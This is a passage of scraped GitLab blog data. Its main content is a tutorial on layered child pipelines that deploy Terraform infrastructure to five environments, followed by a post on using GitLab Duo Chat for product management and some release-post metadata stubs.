file. Subsequent environment files are, of course, very similar. Just set the non-sensitive variables and their values here.\n\n```shell\naws_vpc_cidr = \"10.1.0.0/16\"\naws_public_subnet_cidr = \"10.1.1.0/24\"\naws_private_subnet_cidr = \"10.1.2.0/24\"\n```\n\n#### The child pipeline\n\nThis one is where the actual work is done. So, it is slightly more complex than the first one. But there is no difficulty here that we cannot overcome together!\n\nAs we have seen in the definition of the [main pipeline](#the-main-pipeline), that downstream pipeline is declared in the file `.gitlab-ci/.first-layer.gitlab-ci.yml`.\n\n![Downstream pipeline declared in file](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097033/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097033424.png)\n\nLet's break it down into small chunks. We'll see the big picture at the end.\n\n##### Run Terraform commands and secure the code\n\nFirst, we want to run a pipeline for Terraform. We, at GitLab, are open source. So, our Terraform template is open source. And you simply need to include it. This can be achieved with the following snippet:\n\n```yml\ninclude:\n  - template: Terraform.gitlab-ci.yml\n```\n\nThis template runs for you the Terraform checks on the formatting and validates your code, before planning and applying it. It also allows you to destroy what you have deployed.\n\nAnd, because GitLab is the a single, unified DevSecOps platform, we are also automatically including two security scanners within that template to find potential threats in your code and warn you before you deploy it to the next environments.\n\nNow that we have checked, secured, built, and deployed our code, let's do some tricks.\n\n##### Share cache between jobs\n\nWe will cache the job results to reuse them in subsequent pipeline jobs. This is as simple as adding the following piece of code:\n\n```yml\ndefault:\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: cache-$CI_COMMIT_REF_SLUG\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n```\n\nHere, we are defining a different cache for each commit, falling back to the main branch name if needed.\n\nIf we look carefully at the templates that we are using, we can see that it has some rules to control when jobs are run. We want to run all controls (both QA and security) on all branches. So, we are going to override these settings.\n\n##### Run controls on all branches\n\nGitLab templates are a powerful feature where one can override only a piece of the template. Here, we are interested only in overwriting the rules of some jobs to always run quality and security checks. Everything else defined for these jobs will stay as defined in the template.\n\n```yml\nfmt:\n  rules:\n    - when: always\n\nvalidate:\n  rules:\n    - when: always\n\nkics-iac-sast:\n  rules:\n    - when: always\n\niac-sast:\n  rules:\n    - when: always\n```\n\nNow that we have enforced the quality and security controls, we want to differentiate how the main environments (integration and staging) in the [workflow](#the-workflow) and review environments behave. Let's start by defining the main environment’s behavior, and we will tweak this configuration for the review environments.\n\n##### CD to integration and staging\n\nAs defined earlier, we want to deploy the main branch and the tags to these two environments. We are adding rules to control that on both the `build` and `deploy` jobs. Then, we want to enable `destroy` only for the `integration` as we have defined `staging` to be too critical to be deleted with a single click. This is error-prone and we don't want to do that.\n\nFinally, we are linking the `deploy` job to the `destroy` one, so we can `stop` the environment directly from GitLab GUI.\n\nThe `GIT_STRATEGY` is here to prevent retrieving the code from the source branch in the runner when destroying. This would fail if the branch has been deleted manually, so we are relying on the cache to get everything we need to run the Terraform instructions.\n\n```yml\nbuild:  # terraform plan\n  environment:\n    name: $TF_STATE_NAME\n    action: prepare\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndeploy: # terraform apply --> automatically deploy on corresponding env (integration or staging) when merging to default branch or tagging. Second layer environments (qa and production) will be controlled manually\n  environment: \n    name: $TF_STATE_NAME\n    action: start\n    on_stop: destroy\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndestroy:\n  extends: .terraform:destroy\n  variables:\n    GIT_STRATEGY: none\n  dependencies:\n    - build\n  environment:\n    name: $TF_STATE_NAME\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $TF_DESTROY == \"true\" # Manually destroy integration env.\n      when: manual\n```\n\nAs said, this matches the need to deploy to `integration` and `staging`. But we are still missing a temporary environment where the developers can experience and validate their code without impacts on others. This is where the deployment to the `review` environment takes place.\n\n##### CD to review environments\n\nDeploying to review environment is not too different than deploying to `integration` and `staging`. So we will once again leverage GitLab's capacity to overwrite only pieces of job definition here.\n\nFirst, we set rules to run these jobs only on feature branches.\n\nThen, we link the `deploy_review` job to `destroy_review`. This will allow us to stop the environment **manually** from the GitLab user interface, but more importantly, it will **automatically trigger the environment destruction** when the feature branch is closed. This is a good FinOps practice to help you control your operational expenditures.\n\nSince Terraform needs a plan file to destroy an infrastructure, exactly like it needs one to build an infrastructure, then we are adding a dependency from `destroy_review` to `build_review`, to retrieve its artifacts.\n\nFinally, we see here that the environment's name is set to `$environment`. It has been set in the [main pipeline](#the-main-pipeline) to `review/$CI_COMMIT_REF_SLUG`, and forwarded to this child pipeline with the instruction `trigger:forward:yaml_variables:true`.\n\n```yml\nbuild_review:\n  extends: build\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndeploy_review:\n  extends: deploy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: start\n    on_stop: destroy_review\n    # url: https://$CI_ENVIRONMENT_SLUG.example.com\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndestroy_review:\n  extends: destroy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH   # Do not destroy staging\n      when: never\n    - when: manual\n```\n\nSo, to recap, we now have a pipeline that can:\n\n* Deploy temporary review environments, which are automatically cleaned up when the feature branch is closed\n* Continuously deploy the **default branch** to `integration`\n* Continuously deploy the **tags** to `staging`\n\nLet's now add an extra layer, where we will deploy, based on a manual trigger this time, to `qa` and `production` environments.\n\n##### Continously deploy to QA and production\n\nBecause not everybody is willing to deploy continuously to production, we will add a manual validation to the next two deployments. From a purely **CD** perspective, we would not add this trigger, but take this as an opportunity to learn how to run jobs from other triggers.\n\nSo far, we have started a [child pipeline](#the-child-pipeline) from the [main pipeline](#the-main-pipeline) to run all deployments.\n\nSince we want to run other deployments from the default branch and the tags, we will add another layer dedicated to these additional steps. Nothing new here. We will just repeat exactly the same process as the one we only did for the [main pipeline](#the-main-pipeline). Going this way allows you to manipulate as many layers as you need. I have already seen up to nine environments in some places.\n\nWithout arguing once again on the benefits to have fewer environments, the process that we are using here makes it very easy to implement the same pipeline all the way from early stages to final delivery, while keeping your pipeline definition simple and split in small chunks that you can maintain at no cost.\n\nTo prevent variable conflicts here, we are just using new var names to identify the Terraform state and input file.\n\n```yml\n.2nd_layer:\n  stage: 2nd_layer\n  variables:\n    TF_ROOT: terraform\n  trigger:\n    include: .gitlab-ci/.second-layer.gitlab-ci.yml\n    # strategy: depend            # Do NOT wait for the downstream pipeline to finish to mark upstream pipeline as successful. Otherwise, all pipelines will fail when reaching the pipeline timeout before deployment to 2nd layer.\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nqa:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: qa\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nproduction:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: production\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_TAG\n```\n\n**One important trick here is the strategy used for the new downstream pipeline.** We leave that `trigger:strategy` to its default value; otherwise, the [main pipeline](#the-main-pipeline) would wait for your [grand-child pipeline](#the-grand-child-pipeline) to finish. With a manual trigger, this could last for a very long time and make your pipeline dashboard harder to read and understand.\n\nYou have probably already wondered what is the content of that `.gitlab-ci/.second-layer.gitlab-ci.yml` file we are including here.  We will cover that in the next section.\n\n##### The first layer complete pipeline definition\n\nIf you are looking for a complete view of this first layer (stored in `.gitlab-ci/.first-layer.gitlab-ci.yml`), just expand the section below.\n\n```yml\nvariables:\n  TF_VAR_aws_ami_id: $AWS_AMI_ID\n  TF_VAR_aws_instance_type: $AWS_INSTANCE_TYPE\n  TF_VAR_aws_default_region: $AWS_DEFAULT_REGION\n\ninclude:\n  - template: Terraform.gitlab-ci.yml\n\ndefault:\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: cache-$CI_COMMIT_REF_SLUG\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n\nstages:\n  - validate\n  - test\n  - build\n  - deploy\n  - cleanup\n  - 2nd_layer       # Use to deploy a 2nd environment on both the main branch and on the tags\n\nfmt:\n  rules:\n    - when: always\n\nvalidate:\n  rules:\n    - when: always\n\nkics-iac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: on_success\n\niac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: on_success\n\n###########################################################################################################\n## Integration env. and Staging. env\n##  * Auto-deploy to Integration on merge to main.\n##  * Auto-deploy to Staging on tag.\n##  * Integration can be manually destroyed if TF_DESTROY is set to true.\n##  * Destroy of next env. is not automated to prevent errors.\n###########################################################################################################\nbuild:  # terraform plan\n  environment:\n    name: $TF_STATE_NAME\n    action: prepare\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndeploy: # terraform apply --> automatically deploy on corresponding env (integration or staging) when merging to default branch or tagging. Second layer environments (qa and production) will be controlled manually\n  environment: \n    name: $TF_STATE_NAME\n    action: start\n    on_stop: destroy\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndestroy:\n  extends: .terraform:destroy\n  variables:\n    GIT_STRATEGY: none\n  dependencies:\n    - build\n  environment:\n    name: $TF_STATE_NAME\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $TF_DESTROY == \"true\" # Manually destroy integration env.\n      when: manual\n###########################################################################################################\n\n###########################################################################################################\n## Dev env.\n##  * Temporary environment. Lives and dies with the Merge Request.\n##  * Auto-deploy on push to feature branch.\n##  * Auto-destroy on when Merge Request is closed.\n###########################################################################################################\nbuild_review:\n  extends: build\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndeploy_review:\n  extends: deploy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: start\n    on_stop: destroy_review\n    # url: https://$CI_ENVIRONMENT_SLUG.example.com\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndestroy_review:\n  extends: destroy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH   # Do not destroy staging\n      when: never\n    - when: manual\n###########################################################################################################\n\n###########################################################################################################\n## Second layer\n##  * Deploys from main branch to qa env.\n##  * Deploys from tag to production.\n###########################################################################################################\n.2nd_layer:\n  stage: 2nd_layer\n  variables:\n    TF_ROOT: terraform\n  trigger:\n    include: .gitlab-ci/.second-layer.gitlab-ci.yml\n    # strategy: depend            # Do NOT wait for the downstream pipeline to finish to mark upstream pipeline as successful. Otherwise, all pipelines will fail when reaching the pipeline timeout before deployment to 2nd layer.\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nqa:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: qa\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nproduction:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: production\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_TAG\n###########################################################################################################\n```\n\nAt this stage, we are already deploying safely to three environments. That is my personal ideal recommendation. However, if you need more environments, add them to your CD pipeline.\n\nYou have certainly already noted that we include a downstream pipeline with the keyword `trigger:include`. This includes the file `.gitlab-ci/.second-layer.gitlab-ci.yml`. We want to run almost the same pipeline so obviously, its content is very similar to the one we have detailed above. The main advantage here to define this [grand-child pipeline](#the-grand-child-pipeline) is that it lives on its own, making both variables and rules way easier to define.\n\n### The grand-child pipeline\n\nThis second layer pipeline is a brand new pipeline. Hence, it needs to mimic the first layer definition with:\n\n* [Inclusion of the Terraform template](#run-terraform-commands-and-secure-the-code).\n* [Enforcement of security checks](#run-controls-on-all-branches). Terraform validation would be duplicates of the first layer, but security scanners may find threats that did not yet exist when scanners previously ran (for example, if you deploy to production a couple of days after your deployment to staging).\n* [Overwrite build and deploy jobs to set specific rules](#cd-to-review-environments). Note that the `destroy` stage is no longer automated to prevent too fast deletions.\n\nAs explained above, the `TF_STATE_NAME` and `TF_CLI_ARGS_plan` have been provided from the [main pipeline](#the-main-pipeline) to the [child pipeline](#the-child-pipeline). We needed another variable name to pass these values from the [child pipeline](#the-child-pipeline) to here, the [grand-child pipeline](#the-grand-child-pipeline). This is why they are postfixed with `_2` in the child pipeline and the value is copied back to the appropriate variable during the `before_script` here.\n\nSince we have already broken down each step above, we can zoom out here directly to the broad view of the global second layer definition (stored in `.gitlab-ci/.second-layer.gitlab-ci.yml`).\n\n```yml\n# Use to deploy a second environment on both the default branch and the tags.\n\ninclude:\n  template: Terraform.gitlab-ci.yml\n\nstages:\n  - validate\n  - test\n  - build\n  - deploy\n\nfmt:\n  rules:\n    - when: never\n\nvalidate:\n  rules:\n    - when: never\n\nkics-iac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: always\n\n###########################################################################################################\n## QA env. and Prod. env\n##  * Manually trigger build and auto-deploy in QA\n##  * Manually trigger both build and deploy in Production\n##  * Destroy of these env. is not automated to prevent errors.\n###########################################################################################################\nbuild:  # terraform plan\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: $TF_STATE_NAME_2\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n  environment:\n    name: $TF_STATE_NAME_2\n    action: prepare\n  before_script:  # Hack to set new variable values on the second layer, while still using the same variable names. Otherwise, due to variable precedence order, setting new value in the trigger job, does not cascade these new values to the downstream pipeline\n    - TF_STATE_NAME=$TF_STATE_NAME_2\n    - TF_CLI_ARGS_plan=$TF_CLI_ARGS_plan_2\n  rules:\n    - when: manual\n\ndeploy: # terraform apply\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: $TF_STATE_NAME_2\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n  environment: \n    name: $TF_STATE_NAME_2\n    action: start\n  before_script:  # Hack to set new variable values on the second layer, while still using the same variable names. Otherwise, due to variable precedence order, setting new value in the trigger job, does not cascade these new values to the downstream pipeline\n    - TF_STATE_NAME=$TF_STATE_NAME_2\n    - TF_CLI_ARGS_plan=$TF_CLI_ARGS_plan_2\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG && $TF_AUTO_DEPLOY == \"true\"\n    - if: $CI_COMMIT_TAG\n      when: manual\n###########################################################################################################\n```\n\nEt voilà. **We are ready to go.** Feel free to change the way you control your job executions, leveraging for example GitLab's capacity to [delay a job](https://docs.gitlab.com/ee/ci/jobs/job_control.html#run-a-job-after-a-delay) before deploying to production.\n\n## Try it yourself\n\nWe finally reached our destination. We are now able to control **deployments to five different environments**, with only the **feature branches**, the **main branch**, and **tags**.\n* We are intensively reusing GitLab open source templates to ensure efficiency and security in our pipelines.\n* We are leveraging GitLab template capacities to overwrite only the blocks that need custom control.\n* We have split the pipeline in small chunks, controlling the downstream pipelines to match exactly what we need.\n\nFrom there, the floor is yours. You could, for example, easily update the main pipeline to trigger downstream pipelines for your software source code, with the [trigger:rules:changes](https://docs.gitlab.com/ee/ci/yaml/#ruleschanges) keyword. And use another [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/) depending on the changes that happened. But that is another story.",[110,1384,1385,479,696],{"slug":4364,"featured":6,"template":678},"using-child-pipelines-to-continuously-deploy-to-five-environments","content:en-us:blog:using-child-pipelines-to-continuously-deploy-to-five-environments.yml","Using Child Pipelines To Continuously Deploy To Five Environments","en-us/blog/using-child-pipelines-to-continuously-deploy-to-five-environments.yml","en-us/blog/using-child-pipelines-to-continuously-deploy-to-five-environments",{"_path":4370,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4371,"content":4377,"config":4382,"_id":4384,"_type":16,"title":4385,"_source":17,"_file":4386,"_stem":4387,"_extension":20},"/en-us/blog/5-ways-gitlab-duo-chat-ai-can-supercharge-product-management",{"title":4372,"description":4373,"ogTitle":4372,"ogDescription":4373,"noIndex":6,"ogImage":4374,"ogUrl":4375,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4375,"schema":4376},"5 ways GitLab Duo Chat AI can supercharge product management","Discover how to transform all aspects of product management, boosting efficiency and improving decision-making. Learn practical tips for leveraging AI throughout your PM workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666405/Blog/Hero%20Images/GitLab_Duo_Blog_Hero_1800x945_r2_B__1_.png","https://about.gitlab.com/blog/5-ways-gitlab-duo-chat-ai-can-supercharge-product-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 ways GitLab Duo Chat AI can supercharge product management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2024-09-25\",\n      }",{"title":4372,"description":4373,"authors":4378,"heroImage":4374,"date":4379,"body":4380,"category":791,"tags":4381},[1125],"2024-09-25","As a product manager at GitLab, I constantly seek ways to enhance my productivity and decision-making. Recently, I discovered an unexpected ally in [GitLab Duo Chat](https://about.gitlab.com/gitlab-duo/). Let me share how this AI-powered assistant has transformed my approach to product management.\n\n## The daily PM challenges\n\nLike many PMs, I juggle many daily tasks — from summarizing issues and merge requests to crafting detailed product specs and investment cases. The sheer volume of writing and analysis required was overwhelming, and I worried about potential cognitive biases influencing my work.\n\nTo address these challenges, I needed to:\n\n1. Increase my efficiency in handling documentation tasks.\n2. Enhance the quality and objectivity of my product decisions.\n3. Improve my communication with various stakeholders.\n\n## Leveraging GitLab Duo Chat\n\nI decided to experiment with GitLab Duo Chat as a support tool for my daily PM tasks. Here's how I incorporated it into my workflow, with real examples:\n\n### 1. Issue creation and refinement\n\nI was tasked with creating an issue for a new feature that would enhance the Conan repository by adding [revision support](https://gitlab.com/gitlab-org/gitlab/-/issues/479437). To start, I prompted Chat: \"Can you create an issue to add support for downloading Conan revisions to the GitLab package registry? Think about the product's value from a C++ developer and a platform engineer perspective.\"\n\nGitLab Duo provided a comprehensive draft issue, including:\n\n* a clear description of the feature\n* value propositions for both C++ developers and platform engineers\n* implementation details\n* acceptance criteria\n* related links and labels\n\nThis gave me a solid starting point with all the necessary sections, which I refined and customized. Instead of spending an hour writing that issue, I spent more time thinking about how this feature fits within the broader GitLab strategy.\n\n### 2. Summarizing and reviewing\n\nI often ask GitLab Duo to summarize lengthy merge requests or complicated epics. For instance, when reviewing the epic for [protected container images](https://gitlab.com/groups/gitlab-org/-/epics/9825), I asked GitLab Duo to summarize the key changes and their value for GitLab customers and users from a PM perspective.\n\nGitLab Duo provided a detailed summary, highlighting the following:\n\n* enhanced security and compliance features\n* improved governance and control\n* streamlined operations\n* increased confidence in CI/CD pipelines\n* better alignment with DevOps practices\n* customizable security posture\n* improved audibility\n* cost-effective security solution\n\nThis summary helped me quickly grasp and share the key points with my team more effectively.\n\n### 3. Project status updates\n\nTo get a quick overview of a project's status, I asked GitLab Duo to provide an update \"like a hyper-focused project manager.\" The response included:\n\n* overall progress\n* completed items\n* in-progress tasks\n* next steps\n* timeline\n* risks and issues\n* stakeholder input\n* action items\n* key performance indicators\n* communication plans\n\nThis structured overview allowed me to quickly assess the project's status and identify areas needing attention.\n\n### 4. Value proposition and metric analysis\n\nWhen I needed to articulate the value of measuring monthly active users and storage costs for the Package stage, I asked GitLab Duo for help. The response provided a comprehensive explanation, covering:\n\n* user engagement and adoption insights\n* feature prioritization\n* capacity planning\n* business model optimization\n* customer success indicators\n* cost management\n* competitive positioning\n* product health assessment\n* ROI calculation\n* future planning considerations\n\nThis well-structured response gave me more than enough content and helped me better articulate the value of these essential metrics.\n\n### 5. Challenging cognitive biases\n\nTo reveal blind spots in my thinking, I often ask GitLab Duo to answer in specific personas, such as:\n\n* a hyper-focused project manager\n* a frustrated customer\n* a developer who doesn't have time to read issues\n* a product leader who demands excellence\n\nFor example, when I created an investment case for GitLab Package, I asked GitLab Duo to review it as a hypercritical CEO. This perspective helped me consider including financial projections and competitive analysis in my proposal, which I had initially overlooked.\n\n## A more efficient and effective PM\n\nThe impact of integrating GitLab Duo Chat into my workflow has been significant:\n\n1. **Increased productivity:** Tasks that used to take hours now often take minutes. Creating the initial draft of the Conan issue took about five minutes with GitLab Duo, compared to the usual 30-45 minutes I'd spend starting from scratch.\n2. **Enhanced quality:** The initial drafts produced with GitLab Duo's help are more comprehensive and structured. For the protected container images project, GitLab Duo's input helped me more effectively summarize the value of my go-to-market strategy and the project's current status.\n3. **Improved decision-making:** I've created more robust, well-rounded proposals using GitLab Duo to challenge my assumptions. The critique of my investment case led to a more thorough cost-benefit analysis.\n4. **Continuous improvement:** The feedback loop of writing, getting GitLab Duo's input, and refining has helped me improve my writing and analytical skills. My first drafts are becoming stronger, even without GitLab Duo's assistance.\n\n## A new era of AI-assisted product management\n\nWhile GitLab Duo Chat hasn't replaced my role as a PM, it has become an invaluable tool in my arsenal. It's helped me be more efficient, thorough, and objective. As AI assistants like GitLab Duo continue to evolve, I'm excited about the potential for further enhancing our product management practices.\n\nHowever, it's crucial to remember that GitLab Duo is a tool, not a replacement for human insight and creativity. The best results come from combining GitLab Duo's capabilities with our expertise and understanding of our unique business context.\n\n## Try GitLab Duo\n\nI encourage fellow PMs to explore how AI assistants like GitLab Duo Chat can augment their work. Here are some steps you can take:\n\n1. **Start small:** Use GitLab Duo for simple tasks like summarizing issues or drafting initial proposals.\n2. **Experiment with personas:** Ask GitLab Duo to review your work from different perspectives to uncover blind spots.\n3. **Refine your prompts:** Learn how to craft effective prompts to get the most valuable responses from GitLab Duo.\n4. **Share your experiences:** Discuss your use of AI tools with your team and contribute to best practices.\n\nWith the right approach, these tools can help us focus more on strategic thinking and less on routine tasks, ultimately leading to better products and happier customers.\n\n> [Try GitLab Duo free for 60 days today!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro)\n",[790,695,1444],{"slug":4383,"featured":92,"template":678},"5-ways-gitlab-duo-chat-ai-can-supercharge-product-management","content:en-us:blog:5-ways-gitlab-duo-chat-ai-can-supercharge-product-management.yml","5 Ways Gitlab Duo Chat Ai Can Supercharge Product Management","en-us/blog/5-ways-gitlab-duo-chat-ai-can-supercharge-product-management.yml","en-us/blog/5-ways-gitlab-duo-chat-ai-can-supercharge-product-management",{"_path":4389,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4390,"content":4396,"config":4400,"_id":4403,"_type":16,"title":4404,"_source":17,"_file":4405,"_stem":4406,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5",{"title":4391,"description":4392,"ogTitle":4391,"ogDescription":4392,"config":4393,"ogImage":3431,"ogUrl":4394,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4394,"schema":4395},"GitLab Critical Patch Release: 16.10.10, 16.9.11, 16.8.10, 16.7.10, 16.6.10, 16.5.10, 16.4.7, 16.3.9, 16.2.11, 16.1.8, 16.0.10","Learn more about the Critical Patch Release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 16.10.10, 16.9.11, 16.8.10, 16.7.10, 16.6.10, 16.5.10, 16.4.7, 16.3.9, 16.2.11, 16.1.8, 16.0.10\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-09-25\",\n      }",{"title":4391,"description":4392,"authors":4397,"heroImage":3431,"date":4379,"body":4398,"category":674,"tags":4399},[866],"This is the post for [GitLab Critical Patch Release: 16.10.10, 16.9.11, 16.8.10, 16.7.10, 16.6.10, 16.5.10, 16.4.7, 16.3.9, 16.2.11, 16.1.8, 16.0.10](https://about.gitlab.com/releases/2024/09/25/patch-release-gitlab-16-10-10-released/).",[1464],{"slug":4401,"featured":6,"template":678,"externalUrl":4402},"gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5","https://about.gitlab.com/releases/2024/09/25/patch-release-gitlab-16-10-10-released/","content:en-us:blog:gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5.yml","Gitlab Critical Patch Release 16 10 10 16 9 11 16 8 10 16 7 10 16 6 10 16 5","en-us/blog/gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5.yml","en-us/blog/gitlab-critical-patch-release-16-10-10-16-9-11-16-8-10-16-7-10-16-6-10-16-5",{"_path":4408,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4409,"content":4415,"config":4419,"_id":4422,"_type":16,"title":4423,"_source":17,"_file":4424,"_stem":4425,"_extension":20},"/en-us/blog/gitlab-patch-release-17-4-1-17-3-4-17-2-8",{"title":4410,"description":4411,"ogTitle":4410,"ogDescription":4411,"config":4412,"ogImage":3431,"ogUrl":4413,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4413,"schema":4414},"GitLab Patch Release: 17.4.1, 17.3.4, 17.2.8","Learn more about GitLab Patch Release: 17.4.1, 17.3.4, 17.2.8 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-4-1-17-3-4-17-2-8","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.4.1, 17.3.4, 17.2.8\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-09-25\",\n      }",{"title":4410,"description":4411,"authors":4416,"heroImage":3431,"date":4379,"body":4417,"category":674,"tags":4418},[866],"This is the post for [GitLab Patch Release: 17.4.1, 17.3.4, 17.2.8](https://about.gitlab.com/releases/2024/09/25/patch-release-gitlab-17-4-1-released/).",[1464],{"slug":4420,"featured":6,"template":678,"externalUrl":4421},"gitlab-patch-release-17-4-1-17-3-4-17-2-8","https://about.gitlab.com/releases/2024/09/25/patch-release-gitlab-17-4-1-released/","content:en-us:blog:gitlab-patch-release-17-4-1-17-3-4-17-2-8.yml","Gitlab Patch Release 17 4 1 17 3 4 17 2 8","en-us/blog/gitlab-patch-release-17-4-1-17-3-4-17-2-8.yml","en-us/blog/gitlab-patch-release-17-4-1-17-3-4-17-2-8",{"_path":4427,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4428,"content":4433,"config":4438,"_id":4440,"_type":16,"title":4441,"_source":17,"_file":4442,"_stem":4443,"_extension":20},"/en-us/blog/git-pull-vs-git-fetch-whats-the-difference",{"title":4429,"description":4430,"ogTitle":4429,"ogDescription":4430,"noIndex":6,"ogImage":3374,"ogUrl":4431,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4431,"schema":4432},"Git pull vs. git fetch: What's the difference? ","Git pull is a Git command that performs both git fetch and git merge simultaneously. This article outlines the characteristics and appropriate uses of each.","https://about.gitlab.com/blog/git-pull-vs-git-fetch-whats-the-difference","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git pull vs. git fetch: What's the difference? \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2024-09-24\",\n      }",{"title":4429,"description":4430,"authors":4434,"heroImage":3374,"date":4435,"body":4436,"category":813,"tags":4437},[711],"2024-09-24","The Git command is very popular as a [distributed version control 